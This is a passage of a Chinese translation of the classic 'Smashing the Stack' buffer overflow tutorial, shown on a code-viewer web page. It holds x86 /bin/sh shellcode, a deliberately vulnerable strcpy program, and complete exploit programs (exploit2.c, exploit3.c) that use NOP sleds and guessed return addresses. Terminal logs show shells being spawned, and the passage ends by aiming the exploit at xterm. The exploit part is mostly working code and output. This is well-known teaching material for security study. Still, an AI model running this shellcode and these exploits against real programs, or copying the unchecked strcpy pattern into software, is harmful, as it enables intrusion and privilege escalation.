?? 緩沖溢出原理.htm
字號(hào):
$ exit
[aleph1]$
------------------------------------------------------------------------------
破解實(shí)戰(zhàn)
~~~~~~~~~~
現(xiàn)在把手頭的工具都準(zhǔn)備好. 我們已經(jīng)有了shellcode. 我們知道shellcode必須是被
溢出的字符串的一部分. 我們知道必須把返回地址指回緩沖區(qū). 下面的例子說明了這幾點(diǎn):
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
如上所示, 我們用buffer[]的地址來填充large_string[]數(shù)組, shellcode就將會(huì)在
buffer[]之中. 然后我們把shellcode復(fù)制到large_string字串的開頭. strcpy()不做任
何邊界檢查就會(huì)將large_string復(fù)制到buffer中去, 并且覆蓋返回地址. 現(xiàn)在的返回地址
就是我們shellcode的起始位置. 一旦執(zhí)行到main函數(shù)的尾部, 在試圖返回時(shí)就會(huì)跳到我
們的shellcode中, 得到一個(gè)shell.
我們所面臨的問題是: 當(dāng)試圖使另外一個(gè)程序的緩沖區(qū)溢出的時(shí)候, 如何確定這個(gè)
緩沖區(qū)(會(huì)有我們的shellcode)的地址在哪? 答案是: 對(duì)于每一個(gè)程序, 堆棧的起始地址
都是相同的. 大多數(shù)程序不會(huì)一次向堆棧中壓入成百上千字節(jié)的數(shù)據(jù). 因此知道了堆棧
的開始地址, 我們可以試著猜出這個(gè)要使其溢出的緩沖區(qū)在哪. 下面的小程序會(huì)打印出
它的堆棧指針:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
假定我們要使其溢出的程序如下:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
我們創(chuàng)建一個(gè)程序可以接受兩個(gè)參數(shù), 一是緩沖區(qū)大小, 二是從其自身堆棧指針?biāo)闫?的偏移量(這個(gè)堆棧指針指明了我們想要使其溢出的緩沖區(qū)所在的位置). 我們把溢出字符
串放到一個(gè)環(huán)境變量中, 這樣就容易操作一些.
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
現(xiàn)在我們嘗試猜測(cè)緩沖區(qū)的大小和偏移量:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
正如我們所看到的, 這并不是一個(gè)很有效率的過程. 即使知道了堆棧的起始地址, 嘗
試猜測(cè)偏移量也幾乎是不可能的. 我們很可能要試驗(yàn)幾百次, 沒準(zhǔn)幾千次也說不定. 問題
的關(guān)鍵在于我們必須*確切*地知道我們代碼開始的地址. 如果偏差哪怕只有一個(gè)字節(jié)我們
也只能得到段錯(cuò)誤或非法指令錯(cuò)誤. 提高成功率的一種方法是在我們溢出緩沖區(qū)的前段填
充NOP指令. 幾乎所有的處理器都有NOP指令執(zhí)行空操作. 常用于延時(shí)目的. 我們利用它來
填充溢出緩沖區(qū)的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我們足夠
幸運(yùn)的話, 返回地址指到NOPs字串的任何位置, NOP指令就會(huì)執(zhí)行, 直到碰到我們的
shellcode. 在Intel體系結(jié)構(gòu)中NOP指令只有一個(gè)字節(jié)長, 翻譯為機(jī)器碼是0x90. 假定堆棧
的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆棧看起來是這樣:
內(nèi)存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內(nèi)存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
堆棧頂端 堆棧底部
新的破解程序如下:
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
我們所使用的緩沖區(qū)大小最好比要使其溢出的緩沖區(qū)大100字節(jié)左右. 我們?cè)谝蛊?溢出的緩沖區(qū)尾部放置shellcode, 為NOP指令留下足夠的空間, 仍然使用我們推測(cè)的地址
來覆蓋返回地址. 這里我們要使其溢出的緩沖區(qū)大小是512字節(jié), 所以我們使用612字節(jié).
現(xiàn)在使用新的破解程序來使我們的測(cè)試程序溢出:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
哇!一擊中的!這個(gè)改進(jìn)成千倍地提高了我們的命中率. 下面在真實(shí)的環(huán)境中嘗試一
下緩沖區(qū)溢出. 在Xt庫上運(yùn)用我們所講述的方法. 在例子中, 我們使用xterm(實(shí)際上所有
連接Xt庫的程序都有漏洞). 計(jì)算機(jī)上要運(yùn)行X Server并且允許本地的連接. 還要相應(yīng)設(shè)
置DISPLAY變量.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -